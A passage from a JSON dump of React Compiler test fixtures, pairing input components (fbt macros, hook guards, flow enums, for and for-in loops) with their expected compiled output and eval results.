lastname: 'last'}],\n  sequentialRenders: [{firstname: 'first', lastname: 'last'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component({firstname, lastname}) {\n  'use memo';\n  return (\n    <div>\n      {fbt(\n        [\n          'Name: ',\n          fbt.param('firstname', identity(firstname)),\n          ', ',\n          fbt.param(\n            'lastname',\n            identity(\n              fbt(\n                '(inner)' + fbt.param('lastname', identity(lastname)),\n                'Inner fbt value'\n              )\n            )\n          ),\n        ],\n        'Name'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstname: 'first', lastname: 'last'}],\n  sequentialRenders: [{firstname: 'first', lastname: 'last'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { identity } from \"shared-runtime\";\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component(t0) {\n  \"use memo\";\n  const $ = _c(5);\n  const { firstname, lastname } = t0;\n  let t1;\n  if ($[0] !== firstname || $[1] !== lastname) {\n    t1 = fbt._(\n      \"Name: {firstname}, {lastname}\",\n      [\n        fbt._param(\n          \"firstname\",\n\n          identity(firstname),\n        ),\n        fbt._param(\n          \"lastname\",\n\n          identity(\n            fbt._(\n              \"(inner){lastname}\",\n              [\n                fbt._param(\n                  \"lastname\",\n\n                  identity(lastname),\n                ),\n              ],\n              { hk: \"1Kdxyo\" },\n            ),\n          ),\n        ),\n      ],\n      { hk: \"3AiIf8\" },\n    );\n    $[0] = firstname;\n    $[1] = lastname;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t1) {\n    t2 = <div>{t1}</div>;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ firstname: \"first\", lastname: \"last\" }],\n  sequentialRenders: [{ firstname: \"first\", lastname: \"last\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>Name: first, (inner)last</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-fbt-param-nested-fbt.js",
    "content": "import fbt from 'fbt';\nimport {identity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperands needs to account for nested fbt calls.\n * Expected fixture `fbt-param-call-arguments` to succeed but it failed with error:\n *   /fbt-param-call-arguments.ts: Line 19 Column 11: fbt: unsupported babel node: Identifier\n *   ---\n *   t3\n *   ---\n */\nfunction Component({firstname, lastname}) {\n  'use memo';\n  return (\n    <div>\n      {fbt(\n        [\n          'Name: ',\n          fbt.param('firstname', identity(firstname)),\n          ', ',\n          fbt.param(\n            'lastname',\n            identity(\n              fbt(\n                '(inner)' + fbt.param('lastname', identity(lastname)),\n                'Inner fbt value'\n              )\n            )\n          ),\n        ],\n        'Name'\n      )}\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{firstname: 'first', lastname: 'last'}],\n  sequentialRenders: [{firstname: 'first', lastname: 'last'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.expect.md",
    "content": "\n## Input\n\n```javascript\nimport fbt from 'fbt';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).\n * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as\n * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)\n */\nfunction useFoo({items}: {items: Array<number>}) {\n  return fbt(\n    'There ' +\n      fbt.plural('is', useIdentity([...items]).length, {many: 'are'}) +\n      ' ' +\n      fbt.param('number of items', items.length) +\n      ' items',\n    'Error content when there are unsupported locales.',\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{items: [2, 3]}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport fbt from \"fbt\";\nimport { useIdentity } from \"shared-runtime\";\n\n/**\n * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).\n * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as\n * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)\n */\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { items } = t0;\n  let t1;\n  if ($[0] !== items) {\n    t1 = [...items];\n    $[0] = items;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return fbt._(\n    {\n      \"*\": \"There are {number of items} items\",\n      _1: \"There is {number of items} items\",\n    },\n    [\n      fbt._plural(useIdentity(t1).length),\n      fbt._param(\n        \"number of items\",\n\n        items.length,\n      ),\n    ],\n    { hk: \"xsa7w\" },\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ items: [2, 3] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) There are 2 items"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-macro-property-not-handled.tsx",
    "content": "import fbt from 'fbt';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * MemoizeFbtAndMacroOperandsInSameScope should also track PropertyLoads (e.g. fbt.plural).\n * This doesn't seem to be an issue for fbt, but affects other internal macros invoked as\n * `importSpecifier.funcName` (see https://fburl.com/code/72icxwmn)\n */\nfunction useFoo({items}: {items: Array<number>}) {\n  return fbt(\n    'There ' +\n      fbt.plural('is', useIdentity([...items]).length, {many: 'are'}) +\n      ' ' +\n      fbt.param('number of items', items.length) +\n      ' items',\n    'Error content when there are unsupported locales.',\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{items: [2, 3]}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {fbt} from 'fbt';\nimport {useState} from 'react';\n\nconst MIN = 10;\n\nfunction Component() {\n  const [count, setCount] = useState(0);\n\n  return fbt(\n    'Expected at least ' +\n      fbt.param('min', MIN, {number: true}) +\n      ' items, but got ' +\n      fbt.param('count', count, {number: true}) +\n      ' items.',\n    'Error description'\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { fbt } from \"fbt\";\nimport { useState } from \"react\";\n\nconst MIN = 10;\n\nfunction Component() {\n  const $ = _c(2);\n  const [count] = useState(0);\n  let t0;\n  if ($[0] !== count) {\n    t0 = fbt._(\n      { \"*\": { \"*\": \"Expected at least {min} items, but got {count} items.\" } },\n      [\n        fbt._param(\n          \"min\",\n\n          MIN,\n          [0],\n        ),\n        fbt._param(\n          \"count\",\n\n          count,\n          [0],\n        ),\n      ],\n      { hk: \"36gbz8\" },\n    );\n    $[0] = count;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Expected at least 10 items, but got 0 items."
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/fbt/repro-separately-memoized-fbt-param.js",
    "content": "import {fbt} from 'fbt';\nimport {useState} from 'react';\n\nconst MIN = 10;\n\nfunction Component() {\n  const [count, setCount] = useState(0);\n\n  return fbt(\n    'Expected at least ' +\n      fbt.param('min', MIN, {number: true}) +\n      ' items, but got ' +\n      fbt.param('count', count, {number: true}) +\n      ' items.',\n    'Error description'\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableEmitHookGuards\nimport {createContext, useContext, useEffect, useState} from 'react';\nimport {\n  CONST_STRING0,\n  ObjectWithHooks,\n  getNumber,\n  identity,\n  print,\n} from 'shared-runtime';\n\nconst MyContext = createContext('my context value');\nfunction Component({value}) {\n  print(identity(CONST_STRING0));\n  const [state, setState] = useState(getNumber());\n  print(value, state);\n  useEffect(() => {\n    if (state === 4) {\n      setState(5);\n    }\n  }, [state]);\n  print(identity(value + state));\n  return ObjectWithHooks.useIdentity(useContext(MyContext));\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  args: [{value: 0}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { $dispatcherGuard } from \"react-compiler-runtime\";\nimport { c as _c } from \"react/compiler-runtime\"; // @enableEmitHookGuards\nimport { createContext, useContext, useEffect, useState } from \"react\";\nimport {\n  CONST_STRING0,\n  ObjectWithHooks,\n  getNumber,\n  identity,\n  print,\n} from \"shared-runtime\";\n\nconst MyContext = createContext(\"my context value\");\nfunction Component(t0) {\n  const $ = _c(4);\n  try {\n    $dispatcherGuard(0);\n    const { value } = t0;\n    print(identity(CONST_STRING0));\n    let t1;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = getNumber();\n      $[0] = t1;\n    } else {\n      t1 = $[0];\n    }\n    const [state, setState] = (function () {\n      try {\n        $dispatcherGuard(2);\n        return useState(t1);\n      } finally {\n        $dispatcherGuard(3);\n      }\n    })();\n    print(value, state);\n    let t2;\n    let t3;\n    if ($[1] !== state) {\n      t2 = () => {\n        if (state === 4) {\n          setState(5);\n        }\n      };\n      t3 = [state];\n      $[1] = state;\n      $[2] = t2;\n      $[3] = t3;\n    } else {\n      t2 = $[2];\n      t3 = $[3];\n    }\n    (function () {\n      try {\n        $dispatcherGuard(2);\n        return useEffect(t2, t3);\n      } finally {\n        $dispatcherGuard(3);\n      }\n    })();\n    print(identity(value + state));\n    return (function () {\n      try {\n        $dispatcherGuard(2);\n        return ObjectWithHooks.useIdentity(\n          (function () {\n            try {\n              $dispatcherGuard(2);\n              return useContext(MyContext);\n            } finally {\n              $dispatcherGuard(3);\n            }\n          })(),\n        );\n      } finally {\n        $dispatcherGuard(3);\n      }\n    })();\n  } finally {\n    $dispatcherGuard(1);\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  args: [{ value: 0 }],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flag-enable-emit-hook-guards.ts",
    "content": "// @enableEmitHookGuards\nimport {createContext, useContext, useEffect, useState} from 'react';\nimport {\n  CONST_STRING0,\n  ObjectWithHooks,\n  getNumber,\n  identity,\n  print,\n} from 'shared-runtime';\n\nconst MyContext = createContext('my context value');\nfunction Component({value}) {\n  print(identity(CONST_STRING0));\n  const [state, setState] = useState(getNumber());\n  print(value, state);\n  useEffect(() => {\n    if (state === 4) {\n      setState(5);\n    }\n  }, [state]);\n  print(identity(value + state));\n  return ObjectWithHooks.useIdentity(useContext(MyContext));\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  args: [{value: 0}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nconst {ObjectWithHooks} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  const [y] = ObjectWithHooks.useMakeArray();\n  x.push(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nconst { ObjectWithHooks } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  const x = [];\n  const [y] = ObjectWithHooks.useMakeArray();\n  x.push(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) 1"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flatten-scopes-with-methodcall-hook.js",
    "content": "const {ObjectWithHooks} = require('shared-runtime');\n\nfunction Component(props) {\n  const x = [];\n  const [y] = ObjectWithHooks.useMakeArray();\n  x.push(y);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nfunction Component(props) {\n  enum Bool {\n    True = 'true',\n    False = 'false',\n  }\n\n  let bool: Bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  return <div>{bool}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: true}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  enum Bool {\n    True = \"true\",\n    False = \"false\",\n  }\n\n  let bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  let t0;\n  if ($[0] !== bool) {\n    t0 = <div>{bool}</div>;\n    $[0] = bool;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: true }],\n};\n\n```\n      \n### Eval output\n(kind: exception) Bool is not defined"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/flow-enum-inline.js",
    "content": "// @flow\nfunction Component(props) {\n  enum Bool {\n    True = 'true',\n    False = 'false',\n  }\n\n  let bool: Bool = Bool.False;\n  if (props.value) {\n    bool = Bool.True;\n  }\n  return <div>{bool}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: true}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  for (let i = 0; i < props.count; ) {\n    x += i;\n    i += 1;\n    continue;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  for (let i = 0; i < props.count; ) {\n    x = x + i;\n    i = i + 1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update-with-continue.js",
    "content": "function Component(props) {\n  let x = 0;\n  for (let i = 0; i < props.count; ) {\n    x += i;\n    i += 1;\n    continue;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  for (let i = 0; i < props.count; ) {\n    x += i;\n    if (x > 10) {\n      break;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  for (const i = 0; 0 < props.count; ) {\n    x = x + 0;\n    if (x > 10) {\n      break;\n    }\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-empty-update.js",
    "content": "function Component(props) {\n  let x = 0;\n  for (let i = 0; i < props.count; ) {\n    x += i;\n    if (x > 10) {\n      break;\n    }\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  for (const x in props.value) {\n    return x;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'A!'}}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  for (const x in props.value) {\n    return x;\n  }\n\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { a: \"A!\" } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"a\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-body-always-returns.js",
    "content": "function Component(props) {\n  for (const x in props.value) {\n    return x;\n  }\n  return null;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'A!'}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    if (y === 'break') {\n      break;\n    }\n    x = object[y];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  // should return 'a'\n  params: [{a: 'a', break: null, c: 'C!'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = { ...props.value };\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const object = t0;\n  for (const y in object) {\n    if (y === \"break\") {\n      break;\n    }\n\n    x = object[y];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  // should return 'a'\n  params: [{ a: \"a\", break: null, c: \"C!\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-break.js",
    "content": "function Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    if (y === 'break') {\n      break;\n    }\n    x = object[y];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  // should return 'a'\n  params: [{a: 'a', break: null, c: 'C!'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    if (y === 'continue') {\n      continue;\n    }\n    x = object[y];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', continue: 'skip', b: 'hello!'}}],\n  sequentialRenders: [\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'skip!', continue: true}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = { ...props.value };\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const object = t0;\n  for (const y in object) {\n    if (y === \"continue\") {\n      continue;\n    }\n\n    x = object[y];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { a: \"a\", continue: \"skip\", b: \"hello!\" } }],\n  sequentialRenders: [\n    { value: { a: \"a\", continue: \"skip\", b: \"hello!\" } },\n    { value: { a: \"a\", continue: \"skip\", b: \"hello!\" } },\n    { value: { a: \"skip!\", continue: true } },\n    { value: { a: \"a\", continue: \"skip\", b: \"hello!\" } },\n    { value: { a: \"skip!\", continue: true } },\n    { value: { a: \"a\", continue: \"skip\", b: \"hello!\" } },\n    { value: { a: \"skip!\", continue: true } },\n    { value: { a: \"skip!\", continue: true } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"hello!\"\n\"hello!\"\n\"skip!\"\n\"hello!\"\n\"skip!\"\n\"hello!\"\n\"skip!\"\n\"skip!\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-continue.js",
    "content": "function Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    if (y === 'continue') {\n      continue;\n    }\n    x = object[y];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', continue: 'skip', b: 'hello!'}}],\n  sequentialRenders: [\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'a', continue: 'skip', b: 'hello!'}},\n    {value: {a: 'skip!', continue: true}},\n    {value: {a: 'skip!', continue: true}},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (const y in props.value) {\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],\n};\n\n```\n\n## Code\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (const y in props.value) {\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { a: \"a\", b: \"B\", c: \"C!\" } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-empty-body.js",
    "content": "function Component(props) {\n  let x;\n  for (const y in props.value) {\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nconst {identity, mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    x = y;\n  }\n  mutate(x); // can't modify, x is known primitive!\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],\n};\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false\nconst { identity, mutate } = require(\"shared-runtime\");\n\nfunction Component(props) {\n  let x;\n  const object = { ...props.value };\n  for (const y in object) {\n    x = y;\n  }\n\n  mutate(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: { a: \"a\", b: \"B\", c: \"C!\" } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"c\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement-type-inference.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false\nconst {identity, mutate} = require('shared-runtime');\n\nfunction Component(props) {\n  let x;\n  const object = {...props.value};\n  for (const y in object) {\n    x = y;\n  }\n  mutate(x); // can't modify, x is known primitive!\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: {a: 'a', b: 'B', c: 'C!'}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let items = [];\n  for (const key in props) {\n    items.push(<div key={key}>{key}</div>);\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{hello: null, world: undefined, '!': true}],\n  sequentialRenders: [\n    {a: null, b: null, c: null},\n    {lauren: true, mofei: true, sathya: true, jason: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== props) {\n    const items = [];\n    for (const key in props) {\n      items.push(<div key={key}>{key}</div>);\n    }\n    t0 = <div>{items}</div>;\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ hello: null, world: undefined, \"!\": true }],\n  sequentialRenders: [\n    { a: null, b: null, c: null },\n    { lauren: true, mofei: true, sathya: true, jason: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>a</div><div>b</div><div>c</div></div>\n<div><div>lauren</div><div>mofei</div><div>sathya</div><div>jason</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-in-statement.js",
    "content": "function Component(props) {\n  let items = [];\n  for (const key in props) {\n    items.push(<div key={key}>{key}</div>);\n  }\n  return <div>{items}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{hello: null, world: undefined, '!': true}],\n  sequentialRenders: [\n    {a: null, b: null, c: null},\n    {lauren: true, mofei: true, sathya: true, jason: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(props) {\n  let y = 0;\n  for (\n    let x = 0;\n    x > props.min && x < props.max;\n    x += props.cond ? props.increment : 2\n  ) {\n    x *= 2;\n    y += x;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n\n```\n\n## Code\n\n```javascript\nfunction foo(props) {\n  let y = 0;\n  for (\n    let x = 0;\n    x > props.min && x < props.max;\n    x = x + (props.cond ? props.increment : 2), x\n  ) {\n    x = x * 2;\n    y = y + x;\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [\"TodoAdd\"],\n  isComponent: \"TodoAdd\",\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-logical.js",
    "content": "function foo(props) {\n  let y = 0;\n  for (\n    let x = 0;\n    x > props.min && x < props.max;\n    x += props.cond ? props.increment : 2\n  ) {\n    x *= 2;\n    y += x;\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: ['TodoAdd'],\n  isComponent: 'TodoAdd',\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/for-loop-let-undefined-decl.expect.md",
